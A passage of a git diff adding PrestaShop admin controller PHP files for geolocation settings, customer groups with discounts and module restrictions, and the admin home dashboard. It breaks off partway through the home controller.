true + ), + array( + 'type' => 'text', + 'label' => $this->l('Image Width:'), + 'name' => 'img_width', + 'size' => 4, + 'desc' => $this->l('Image width in pixels. Enter "0" to use the original size.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Image Height:'), + 'name' => 'img_height', + 'size' => 4, + 'desc' => $this->l('Image height in pixels. Enter "0" to use the original size.') + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + if (!($obj = $this->loadObject(true))) + return; + + $this->fields_value = array( + 'img_width' => $this->default_image_width, + 'img_height' => $this->default_image_height, + 'image' => $obj->getImage() + ); + + return parent::renderForm(); + } + + public function displayGenderType($value, $tr) + { + return $this->fields_list['type']['list'][$value]; + } + + protected function postImage($id) + { + if (isset($this->fieldImageSettings['name']) && isset($this->fieldImageSettings['dir'])) + { + if (!Validate::isInt(Tools::getValue('img_width')) || !Validate::isInt(Tools::getValue('img_height'))) + $this->errors[] = Tools::displayError('Width and height must be numeric values.'); + else + { + if ((int)Tools::getValue('img_width') > 0 && (int)Tools::getValue('img_height') > 0) + { + $width = (int)Tools::getValue('img_width'); + $height = (int)Tools::getValue('img_height'); + } + else + { + $width = null; + $height = null; + } + return $this->uploadImage($id, $this->fieldImageSettings['name'], $this->fieldImageSettings['dir'].'/', false, $width, $height); + } + } + return !count($this->errors) ? true : false; + } +} + + diff --git a/controllers/admin/AdminGeolocationController.php b/controllers/admin/AdminGeolocationController.php new file mode 100755 index 0000000..b85e248 --- /dev/null +++ b/controllers/admin/AdminGeolocationController.php @@ -0,0 +1,154 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminGeolocationControllerCore extends AdminController +{ + public function __construct() + { + parent::__construct(); + + $this->fields_options = array( + 'geolocationConfiguration' => array( + 'title' => $this->l('Geolocation by IP address'), + 'icon' => 'world', + 'fields' => array( + 'PS_GEOLOCATION_ENABLED' => array( + 'title' => $this->l('Geolocation by IP address'), + 'desc' => $this->l('This option allows you, among other things, to restrict access to your shop for certain countries. See below.'), + 'validation' => 'isUnsignedId', + 'cast' => 'intval', + 'type' => 'bool' + ), + ), + ), + 'geolocationCountries' => array( + 'title' => $this->l('Options'), + 'icon' => 'world', + 'description' => $this->l('The following features are only available if you enable the Geolocation by IP address feature.'), + 'fields' => array( + 'PS_GEOLOCATION_BEHAVIOR' => array( + 'title' => $this->l('Geolocation behavior for restricted countries'), + 'type' => 'select', + 'identifier' => 'key', + 'list' => array(array('key' => _PS_GEOLOCATION_NO_CATALOG_, 'name' => $this->l('Visitors cannot see your catalog.')), + array('key' => _PS_GEOLOCATION_NO_ORDER_, 'name' => $this->l('Visitors can see your catalog but cannot place an order.'))), + ), + 'PS_GEOLOCATION_NA_BEHAVIOR' => array( + 'title' => $this->l('Geolocation behavior for other countries'), + 'type' => 'select', + 'identifier' => 'key', + 'list' => array(array('key' => '-1', 'name' => $this->l('All features are available')), + array('key' => _PS_GEOLOCATION_NO_CATALOG_, 'name' => $this->l('Visitors cannot see your catalog.')), + array('key' => _PS_GEOLOCATION_NO_ORDER_, 'name' => $this->l('Visitors can see your catalog but cannot place an order.'))) + ), + ), + ), + 'geolocationWhitelist' => array( + 'title' => $this->l('IP address whitelist'), + 'icon' => 'world', + 'description' => $this->l('You can add IP addresses that will always be allowed to access your shop (e.g. Google bots\' IP).'), + 'fields' => array( + 'PS_GEOLOCATION_WHITELIST' => array('title' => $this->l('Whitelisted IP addresses'), 'type' => 'textarea_newlines', 'cols' => 80, 'rows' => 30), + ), + 'submit' => array(), + ), + ); + } + + /** + * @see AdminController::processUpdateOptions() + */ + public function processUpdateOptions() + { + if ($this->isGeoLiteCityAvailable()) + Configuration::updateValue('PS_GEOLOCATION_ENABLED', (int)Tools::getValue('PS_GEOLOCATION_ENABLED')); + // stop processing if geolocation is set to yes but geolite pack is not available + elseif (Tools::getValue('PS_GEOLOCATION_ENABLED')) + $this->errors[] = Tools::displayError('The geolocation database is unavailable.'); + + if (empty($this->errors)) + { + if (!is_array(Tools::getValue('countries')) || !count(Tools::getValue('countries'))) + $this->errors[] = Tools::displayError('Country selection is invalid.'); + else + { + Configuration::updateValue( + 'PS_GEOLOCATION_BEHAVIOR', + (!(int)Tools::getValue('PS_GEOLOCATION_BEHAVIOR') ? _PS_GEOLOCATION_NO_CATALOG_ : _PS_GEOLOCATION_NO_ORDER_) + ); + Configuration::updateValue('PS_GEOLOCATION_NA_BEHAVIOR', (int)Tools::getValue('PS_GEOLOCATION_NA_BEHAVIOR')); + Configuration::updateValue('PS_ALLOWED_COUNTRIES', implode(';', Tools::getValue('countries'))); + } + + if (!Validate::isCleanHtml(Tools::getValue('PS_GEOLOCATION_WHITELIST'))) + $this->errors[] = Tools::displayError('Invalid whitelist'); + else + { + Configuration::updateValue( + 'PS_GEOLOCATION_WHITELIST', + str_replace("\n", ';', str_replace("\r", '', Tools::getValue('PS_GEOLOCATION_WHITELIST'))) + ); + } + } + + return parent::processUpdateOptions(); + } + + public function renderOptions() + { + // This field is not declared in class constructor because we want it to be manually post processed + $this->fields_options['geolocationCountries']['fields']['countries'] = array( + 'title' => $this->l('Select the countries from which your store is accessible'), + 'type' => 'checkbox_table', + 'identifier' => 'iso_code', + 'list' => Country::getCountries($this->context->language->id), + 'auto_value' => false + ); + + $this->tpl_option_vars = array('allowed_countries' => explode(';', Configuration::get('PS_ALLOWED_COUNTRIES'))); + + return parent::renderOptions(); + } + + public function initContent() + { + $this->display = 'options'; + if (!$this->isGeoLiteCityAvailable()) + $this->displayWarning($this->l('In order to use Geolocation, please download').' + <a href="http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz">'.$this->l('this file').'</a> '. + $this->l('and extract it (using Winrar or Gzip) into the /tools/geoip/ directory.')); + + parent::initContent(); + } + + protected function isGeoLiteCityAvailable() + { + if (file_exists(_PS_GEOIP_DIR_.'GeoLiteCity.dat')) + return true; + return false; + } +} + diff --git a/controllers/admin/AdminGroupsController.php b/controllers/admin/AdminGroupsController.php new file mode 100755 index 0000000..a17063f --- /dev/null +++ b/controllers/admin/AdminGroupsController.php @@ -0,0 +1,545 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminGroupsControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'group'; + $this->className = 'Group'; + $this->lang = true; + $this->addRowAction('edit'); + $this->addRowAction('view'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $groups_to_keep = array( + Configuration::get('PS_UNIDENTIFIED_GROUP'), + Configuration::get('PS_GUEST_GROUP'), + Configuration::get('PS_CUSTOMER_GROUP') + ); + + $this->fields_list = array( + 'id_group' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'filter_key' => 'b!name' + ), + 'reduction' => array( + 'title' => $this->l('Discount (%)'), + 'width' => 100, + 'align' => 'right', + 'type' => 'percent' + ), + 'nb' => array( + 'title' => $this->l('Members'), + 'width' => 25, + 'align' => 'center', + 'havingFilter' => true, + ), + 'show_prices' => array( + 'title' => $this->l('Show prices'), + 'width' => 120, + 'align' => 'center', + 'type' => 'bool', + 'callback' => 'printShowPricesIcon', + 'orderby' => false + ), + 'date_add' => array( + 'title' => $this->l('Creation date'), + 'width' => 150, + 'type' => 'date', + 'align' => 'right' + ) + ); + + $this->addRowActionSkipList('delete', $groups_to_keep); + + parent::__construct(); + + $this->_select .= '(SELECT COUNT(jcg.`id_customer`) + FROM `'._DB_PREFIX_.'customer_group` jcg + LEFT JOIN `'._DB_PREFIX_.'customer` jc ON (jc.`id_customer` = jcg.`id_customer`) + WHERE jc.`deleted` != 1 + '.Shop::addSqlRestriction(Shop::SHARE_CUSTOMER).' + AND jcg.`id_group` = a.`id_group`) AS nb'; + + $groups = Group::getGroups(Context::getContext()->language->id, true); + if (Shop::isFeatureActive()) + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Default groups options'), + 'fields' => array( + 'PS_UNIDENTIFIED_GROUP' => array( + 'title' => $this->l('Visitors group:'), + 'desc' => $this->l('The group defined for your un-identified visitors'), + 'cast' => 'intval', + 'type' => 'select', + 'list' => $groups, + 'identifier' => 'id_group' + ), + 'PS_GUEST_GROUP' => array( + 'title' => $this->l('Guests group:'), + 'desc' => $this->l('The group defined for your identified guest customers (used in guest checkout)'), + 'cast' => 'intval', + 'type' => 'select', + 'list' => $groups, + 'identifier' => 'id_group' + ), + 'PS_CUSTOMER_GROUP' => array( + 'title' => $this->l('Customers group:'), + 'desc' => $this->l('The group defined for your identified customers'), + 'cast' => 'intval', + 'type' => 'select', + 'list' => $groups, + 'identifier' => 'id_group' + ), + ), + 'submit' => array() + ), + ); + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryPlugin('fancybox'); + $this->addJqueryUi('ui.sortable'); + } + + public function initToolbar() + { + if ($this->display == 'add' || $this->display == 'edit') + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#', + 'desc' => $this->l('Save, then add a category reduction'), + 'force_desc' => true, + ); + parent::initToolbar(); + } + + public function initProcess() + { + $this->id_object = Tools::getValue('id_'.$this->table); + + if (Tools::isSubmit('changeShowPricesVal') && $this->id_object) + $this->action = 'change_show_prices_val'; + + parent::initProcess(); + } + + public function renderView() + { + $this->context = Context::getContext(); + if (!($group = $this->loadObject(true))) + return; + + $this->tpl_view_vars = array( + 'group' => $group, + 'language' => $this->context->language, + 'customerList' => $this->renderCustomersList($group), + 'categorieReductions' => $this->formatCategoryDiscountList($group->id) + ); + + return parent::renderView(); + } + + protected function renderCustomersList($group) + { + $genders = array(0 => '?'); + $genders_icon = array('default' => 'unknown.gif'); + foreach (Gender::getGenders() as $gender) + { + $genders_icon[$gender->id] = '../genders/'.(int)$gender->id.'.jpg'; + $genders[$gender->id] = $gender->name; + } + $customer_fields_display = (array( + 'id_customer' => array('title' => $this->l('ID'), 'width' => 15, 'align' => 'center'), + 'id_gender' => array('title' => $this->l('Titles'), 'align' => 'center', 'width' => 50,'icon' => $genders_icon, 'list' => $genders), + 'firstname' => array('title' => $this->l('Name'), 'align' => 'center'), + 'lastname' => array('title' => $this->l('Name'), 'align' => 'center'), + 'email' => array('title' => $this->l('Email address'), 'width' => 150, 'align' => 'center'), + 'birthday' => array('title' => $this->l('Birth date'), 'width' => 150, 'align' => 'right', 'type' => 'date'), + 'date_add' => array('title' => $this->l('Register date'), 'width' => 150, 'align' => 'right', 'type' => 'date'), + 'orders' => array('title' => $this->l('Orders'), 'align' => 'center'), + 'active' => array('title' => $this->l('Enabled'),'align' => 'center','width' => 20, 'active' => 'status','type' => 'bool') + )); + + $customer_list = $group->getCustomers(false, 0, 0, true); + + $helper = new HelperList(); + $helper->currentIndex = Context::getContext()->link->getAdminLink('AdminCustomers', false); + $helper->token = Tools::getAdminTokenLite('AdminCustomers'); + $helper->shopLinkType = ''; + $helper->table = 'customer'; + $helper->identifier = 'id_customer'; + $helper->actions = array('edit', 'view'); + $helper->show_toolbar = false; + + return $helper->generateList($customer_list, $customer_fields_display); + } + + public function renderForm() + { + if (!($group = $this->loadObject(true))) + return; + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Customer group'), + 'image' => '../img/admin/tab-groups.gif' + ), + 'submit' => array( + 'title' => $this->l('Save '), + 'class' => 'button' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 33, + 'required' => true, + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' 0-9!<>,;?=+()@#"�{}_$%:' + ), + array( + 'type' => 'text', + 'label' => $this->l('Discount (%):'), + 'name' => 'reduction', + 'size' => 33, + 'desc' => $this->l('Automatically apply this value as a discount on all products for members of this customer group.') + ), + array( + 'type' => 'select', + 'label' => $this->l('Price display method:'), + 'name' => 'price_display_method', + 'desc' => $this->l('How prices are displayed in the order summary for this customer group.'), + 'options' => array( + 'query' => array( + array( + 'id_method' => PS_TAX_EXC, + 'name' => $this->l('Tax excluded') + ), + array( + 'id_method' => PS_TAX_INC, + 'name' => $this->l('Tax included') + ) + ), + 'id' => 'id_method', + 'name' => 'name' + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Show prices:'), + 'name' => 'show_prices', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'show_prices_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'show_prices_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Customers in this group can view prices') + ), + array( + 'type' => 'group_discount_category', + 'label' => $this->l('Category discount:'), + 'name' => 'reduction', + 'size' => 33, + 'values' => ($group->id ? $this->formatCategoryDiscountList((int)$group->id) : array()) + ), + array( + 'type' => 'modules', + 'label' => array('auth_modules' => $this->l('Authorized modules:'), 'unauth_modules' => $this->l('Unauthorized modules:')), + 'name' => 'auth_modules', + 'values' => $this->formatModuleListAuth($group->id) + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_value['reduction'] = isset($group->reduction) ? $group->reduction : 0; + + $helper = new Helper(); + $this->tpl_form_vars['categoryTreeView'] = $helper->renderCategoryTree(null, array(), 'id_category', true, false, array(), true, true); + + return parent::renderForm(); + } + + protected function formatCategoryDiscountList($id) + { + $category = GroupReduction::getGroupReductions((int)$id, $this->context->language->id); + $category_reductions = array(); + $category_reduction = Tools::getValue('category_reduction'); + + foreach ($category as $category) + { + if (is_array($category_reduction) && array_key_exists($category['id_category'], $category_reduction)) + $category['reduction'] = $category_reduction[$category['id_category']]; + + $tmp = array(); + $tmp['path'] = getPath(self::$currentIndex.'?tab=AdminCategories', (int)$category['id_category']); + $tmp['reduction'] = (float)$category['reduction'] * 100; + $tmp['id_category'] = (int)$category['id_category']; + $category_reductions[(int)$category['id_category']] = $tmp; + } + + if (is_array($category_reduction)) + foreach ($category_reduction as $key => $val) + { + if (!array_key_exists($key, $category_reductions)) + { + $tmp = array(); + $tmp['path'] = getPath(self::$currentIndex.'?tab=AdminCategories', $key); + $tmp['reduction'] = (float)$val * 100; + $tmp['id_category'] = (int)$key; + $category_reductions[(int)$category['id_category']] = $tmp; + } + } + + return $category_reductions; + } + + public function formatModuleListAuth($id_group) + { + $modules = Module::getModulesInstalled(); + $authorized_modules = ''; + + $auth_modules = array(); + $unauth_modules = array(); + + if ($id_group) + $authorized_modules = Module::getAuthorizedModules($id_group); + + if (is_array($authorized_modules)) + { + foreach ($modules as $module) + { + $authorized = false; + foreach ($authorized_modules as $auth_module) + if ($module['id_module'] == $auth_module['id_module']) + $authorized = true; + + if ($authorized) + $auth_modules[] = $module; + else + $unauth_modules[] = $module; + } + } + else + $auth_modules = $modules; + $auth_modules_tmp = array(); + foreach ($auth_modules as $key => $val) + if ($module = Module::getInstanceById($val['id_module'])) + $auth_modules_tmp[] = $module; + + $auth_modules = $auth_modules_tmp; + + $unauth_modules_tmp = array(); + foreach ($unauth_modules as $key => $val) + if (($tmp_obj = Module::getInstanceById($val['id_module']))) + $unauth_modules_tmp[] = $tmp_obj; + + $unauth_modules = $unauth_modules_tmp; + + return array('unauth_modules' => $unauth_modules, 'auth_modules' => $auth_modules); + } + + public function processSave() + { + if (!$this->validateDiscount(Tools::getValue('reduction'))) + $this->errors[] = Tools::displayError('The discount value is incorrect (must be a percentage).'); + else + { + $this->updateCategoryReduction(); + $object = parent::processSave(); + $this->updateRestrictions(); + return $object; + } + } + + protected function validateDiscount($reduction) + { + if (!Validate::isPrice($reduction) || $reduction > 100 || $reduction < 0) + return false; + else + return true; + } + + public function ajaxProcessAddCategoryReduction() + { + $category_reduction = Tools::getValue('category_reduction'); + $id_category = Tools::getValue('id_category'); //no cast validation is done with Validate::isUnsignedId($id_category) + + $result = array(); + if (!Validate::isUnsignedId($id_category)) + { + $result['errors'][] = Tools::displayError('Wrong category ID'); + $result['hasError'] = true; + } + else if (!$this->validateDiscount($category_reduction)) + { + $result['errors'][] = Tools::displayError('The discount value is incorrect (must be a percentage).'); + $result['hasError'] = true; + } + else + { + $result['id_category'] = (int)$id_category; + $result['catPath'] = getPath(self::$currentIndex.'?tab=AdminCategories', (int)$id_category); + $result['discount'] = $category_reduction; + $result['hasError'] = false; + } + die(Tools::jsonEncode($result)); + } + + /** + * Update (or create) restrictions for modules by group + */ + protected function updateRestrictions() + { + $id_group = Tools::getValue('id_group'); + $auth_modules = Tools::getValue('modulesBoxAuth'); + $return = true; + if ($id_group) + Group::truncateModulesRestrictions((int)$id_group); + $shops = Shop::getShops(true, null, true); + if (is_array($auth_modules)) + $return &= Group::addModulesRestrictions($id_group, $auth_modules, $shops); + return $return; + } + + protected function updateCategoryReduction() + { + $category_reduction = Tools::getValue('category_reduction'); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'group_reduction` + WHERE `id_group` = '.(int)Tools::getValue('id_group') + ); + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'product_group_reduction_cache` + WHERE `id_group` = '.(int)Tools::getValue('id_group') + ); + if (is_array($category_reduction)) + { + foreach ($category_reduction as $cat => $reduction) + { + if (!Validate::isUnsignedId($cat) || !$this->validateDiscount($reduction)) + $this->errors[] = Tools::displayError('The discount value is incorrect.'); + else + { + $category = new Category((int)$cat); + $category->addGroupsIfNoExist((int)Tools::getValue('id_group')); + $group_reduction = new GroupReduction(); + $group_reduction->id_group = (int)Tools::getValue('id_group'); + $group_reduction->reduction = (float)($reduction / 100); + $group_reduction->id_category = (int)$cat; + if (!$group_reduction->save()) + $this->errors[] = Tools::displayError('You cannot save group reductions.'); + } + } + } + } + + /** + * Toggle show prices flag + */ + public function processChangeShowPricesVal() + { + $group = new Group($this->id_object); + if (!Validate::isLoadedObject($group)) + $this->errors[] = Tools::displayError('An error occurred while updating this group.'); + $update = Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'group` SET show_prices = '.($group->show_prices ? 0 : 1).' WHERE `id_group` = '.(int)$group->id); + if (!$update) + $this->errors[] = Tools::displayError('An error occurred while updating this group.'); + Tools::redirectAdmin(self::$currentIndex.'&token='.$this->token); + } + + /** + * Print enable / disable icon for show prices option + * @static + * @param $id_group integer Group ID + * @param $tr array Row data + * @return string HTML link and icon + */ + public static function printShowPricesIcon($id_group, $tr) + { + $group = new Group($tr['id_group']); + if (!Validate::isLoadedObject($group)) + return; + return '<a href="index.php?tab=AdminGroups&id_group='.(int)$group->id.'&changeShowPricesVal&token='.Tools::getAdminTokenLite('AdminGroups').'"> + '.($group->show_prices ? '<img src="../img/admin/enabled.gif" />' : '<img src="../img/admin/disabled.gif" />'). + '</a>'; + } + + public function renderList() + { + $unidentified = new Group(Configuration::get('PS_UNIDENTIFIED_GROUP')); + $guest = new Group(Configuration::get('PS_GUEST_GROUP')); + $default = new Group(Configuration::get('PS_CUSTOMER_GROUP')); + + $unidentified_group_information = sprintf( + $this->l('%s - All persons without a customer account or unauthenticated.'), + '<b>'.$unidentified->name[$this->context->language->id].'</b>' + ); + $guest_group_information = sprintf( + $this->l('%s - Customer who placed an order through Guest Checkout.'), + '<b>'.$guest->name[$this->context->language->id].'</b>' + ); + $default_group_information = sprintf( + $this->l('%s - All persons who created an account on this site.'), + '<b>'.$default->name[$this->context->language->id].'</b>' + ); + + $this->displayInformation($this->l('You now have three default customer groups.')); + $this->displayInformation($unidentified_group_information); + $this->displayInformation($guest_group_information); + $this->displayInformation($default_group_information); + return parent::renderList(); + } +} diff --git a/controllers/admin/AdminHomeController.php b/controllers/admin/AdminHomeController.php new file mode 100755 index 0000000..2e90591 --- /dev/null +++ b/controllers/admin/AdminHomeController.php @@ -0,0 +1,689 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminHomeControllerCore extends AdminController +{ + const TIPS_TIMEOUT = 5; + + protected function _displayOptimizationTips() + { + $link = $this->context->link; + + $content = ''; + $rewrite = 0; + if (Configuration::get('PS_REWRITING_SETTINGS')) + { + $rewrite = 2; + if (!file_exists(dirname(__FILE__).'/../../.htaccess')) + $rewrite = 1; + else + { + $stat = stat(dirname(__FILE__).'/../../.htaccess'); + if (strtotime(Db::getInstance()->getValue('SELECT date_upd FROM '._DB_PREFIX_.'configuration WHERE name = "PS_REWRITING_SETTINGS"')) > $stat['mtime']) + $rewrite = 0; + } + } + + $htaccessAfterUpdate = 2; + $htaccessOptimized = (Configuration::get('PS_HTACCESS_CACHE_CONTROL') ? 2 : 0); + if (!file_exists(dirname(__FILE__).'/../../.htaccess')) + { + if (Configuration::get('PS_HTACCESS_CACHE_CONTROL')) + $htaccessOptimized = 1; + } + else + { + $stat = stat(dirname(__FILE__).'/../../.htaccess'); + $dateUpdHtaccess = Db::getInstance()->getValue('SELECT date_upd FROM '._DB_PREFIX_.'configuration WHERE name = "PS_HTACCESS_CACHE_CONTROL"'); + if (Configuration::get('PS_HTACCESS_CACHE_CONTROL') && strtotime($dateUpdHtaccess) > $stat['mtime']) + $htaccessOptimized = 1; + + $dateUpdate = Configuration::get('PS_LAST_SHOP_UPDATE'); + if ($dateUpdate && strtotime($dateUpdate) > $stat['mtime']) + $htaccessAfterUpdate = 0; + } + $indexRebuiltAfterUpdate = 0; + $needRebuild = Configuration::get('PS_NEED_REBUILD_INDEX'); + if ($needRebuild != '0'); + $indexRebuiltAfterUpdate = 2; + + $smartyOptimized = 0; + if (Configuration::get('PS_SMARTY_FORCE_COMPILE') == _PS_SMARTY_NO_COMPILE_) + ++$smartyOptimized; + if (Configuration::get('PS_SMARTY_CACHE')) + ++$smartyOptimized; + + $cccOptimized = Configuration::get('PS_CSS_THEME_CACHE'); + $cccOptimized += Configuration::get('PS_JS_THEME_CACHE'); + $cccOptimized += Configuration::get('PS_HTML_THEME_COMPRESSION'); + $cccOptimized += Configuration::get('PS_JS_HTML_THEME_COMPRESSION'); + if ($cccOptimized == 4) + $cccOptimized = 2; + else + $cccOptimized = 1; + + $shopEnabled = (Configuration::get('PS_SHOP_ENABLE') ? 2 : 1); + + $lights = array( + 0 => array('image'=>'cross.png','color'=>'red'), + 1 => array('image'=>'error.png','color'=>'orange'), + 2 => array('image'=>'tick.png','color'=>'green')); + + $opti_list = array(); + if ($rewrite + $htaccessOptimized + $smartyOptimized + $cccOptimized + $shopEnabled + $htaccessAfterUpdate + $indexRebuiltAfterUpdate != 14) + { + $opti_list[] = array( + 'title' => $this->l('URL rewriting'), + 'href' => $link->getAdminLink('AdminMeta'), + 'color' => $lights[$rewrite]['color'], + 'image' => $lights[$rewrite]['image'], + ); + + $opti_list[] = array( + 'title' => $this->l('Browser cache & compression'), + 'href' => $link->getAdminLink('AdminPerformance'), + 'color' => $lights[$htaccessOptimized]['color'], + 'image' => $lights[$htaccessOptimized]['image'], + ); + + $opti_list[] = array( + 'title' => $this->l('Smarty optimization'), + 'href' => $link->getAdminLink('AdminPerformance'), + 'color' => $lights[$smartyOptimized]['color'], + 'image' => $lights[$smartyOptimized]['image'], + ); + + $opti_list[] = array( + 'title' => $this->l('Combine, Compress & Cache'), + 'href' => $link->getAdminLink('AdminPerformance'), + 'color' => $lights[$cccOptimized]['color'], + 'image' => $lights[$cccOptimized]['image'], + ); + + $opti_list[] = array( + 'title' => $this->l('Shop enabled'), + 'href' => $link->getAdminLink('AdminMaintenance'), + 'color' => $lights[$shopEnabled]['color'], + 'image' => $lights[$shopEnabled]['image'], + ); + + $opti_list[] = array( + 'title' => $this->l('Index rebuilt after update'), + 'href' => $link->getAdminLink('AdminSearchConf'), + 'color' => $lights[$indexRebuiltAfterUpdate]['color'], + 'image' => $lights[$indexRebuiltAfterUpdate]['image'], + ); + + $opti_list[] = array( + 'title' => $this->l('.htaccess file up-to-date'), + 'href' => $link->getAdminLink('AdminMeta'), + 'color' => $lights[$htaccessAfterUpdate]['color'], + 'image' => $lights[$htaccessAfterUpdate]['image'], + ); + } + $this->context->smarty->assign(array( + 'opti_list' => $opti_list, + 'content' => $content, + 'hide_tips' => Configuration::get('PS_HIDE_OPTIMIZATION_TIPS')) + ); + + $template = $this->createTemplate('optimizationTips.tpl'); + return $template->fetch(); + } + + public function setMedia() + { + parent::setMedia(); + if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false) + $this->addJqueryPlugin('excanvas'); + $this->addJqueryPlugin('flot'); + $this->addJqueryPlugin('fancybox'); + } + + protected function warnDomainName() + { + if (Shop::isFeatureActive()) + return; + + $shop = Context::getContext()->shop; + if ($_SERVER['HTTP_HOST'] != $shop->domain && $_SERVER['HTTP_HOST'] != $shop->domain_ssl && Tools::getValue('ajax') == false) + $this->displayWarning($this->l('You are currently connected under the following domain name:').' <span style="color: #CC0000;">'.$_SERVER['HTTP_HOST'].'</span><br />'. + $this->l('This is different from the main shop domain name set in the "Multistore" page under the "Advanced Parameters" menu:').' <span style="color: #CC0000;">'.$shop->domain.'</span><br /> + <a href="index.php?controller=AdminMeta&token='.Tools::getAdminTokenLite('AdminMeta').'#conf_id_domain">'. + $this->l('Click here if you want to modify your main shop\'s domain name.').'</a>'); + } + + protected function getQuickLinks() + { + $quick_links = array(); + + $profile_access = Profile::getProfileAccesses($this->context->employee->id_profile); + if ($profile_access[(int)Tab::getIdFromClassName('AdminStats')]['view']) + $quick_links['first'] = array( + 'href' => $this->context->link->getAdminLink('AdminStats').'&module=statsbestproducts', + 'title' => $this->l('Recently sold products.'), + 'description' => $this->l('Create a new category and organize your catalog.'), + ); + + if ($profile_access[(int)Tab::getIdFromClassName('AdminOrders')]['add']) + $quick_links['second'] = array( + 'href' => $this->context->link->getAdminLink('AdminOrders').'&addorder', + 'title' => $this->l('New order'), + 'description' => $this->l('Fill your catalog with new products.'), + ); + + if ($profile_access[(int)Tab::getIdFromClassName('AdminSpecificPriceRule')]['add']) + $quick_links['third'] = array( + 'href' => $this->context->link->getAdminLink('AdminSpecificPriceRule').'&addspecific_price_rule', + 'title' => $this->l('New price rule for catalog'), + 'description' => $this->l('Monitor your activity with a thorough analysis of your shop.'), + ); + + if ($profile_access[(int)Tab::getIdFromClassName('AdminProducts')]['add']) + $quick_links['fourth'] = array( + 'href' => $this->context->link->getAdminLink('AdminProducts').'&addproduct', + 'title' => $this->l('New product'), + 'description' => $this->l('Add a new employee account and discharge a part of your duties as shop owner.'), + ); + + if ($profile_access[(int)Tab::getIdFromClassName('AdminModules')]['view']) + $quick_links['fifth'] = array( + 'href' => $this->context->link->getAdminLink('AdminModules'), + 'title' => $this->l('New module'), + 'description' => $this->l('Configure your modules'), + ); + + if ($profile_access[(int)Tab::getIdFromClassName('AdminCartRules')]['add']) + $quick_links['sixth'] = array( + 'href' => $this->context->link->getAdminLink('AdminCartRules').'&addcart_rule', + 'title' => $this->l('New price rule for cart'), + 'description' => $this->l('Add new cart rule'), + ); + + if ($profile_access[(int)Tab::getIdFromClassName('AdminCmsContent')]['add']) + $quick_links['seventh'] = array( + 'href' => $this->context->link->getAdminLink('AdminCmsContent').'&addcms', + 'title' => $this->l('New CMS page'), + 'description' => $this->l('Add a new CMS page.'), + ); + + if ($profile_access[(int)Tab::getIdFromClassName('AdminCarts')]['view']) + $quick_links['eighth'] = array( + 'href' => $this->context->link->getAdminLink('AdminCarts').'&id_cart', + 'title' => $this->l('Abandoned shopping carts'), + 'description' => $this->l('View your customer\'s carts.'), + ); + return $quick_links; + } + + public function getCustomersService() + { + $all = 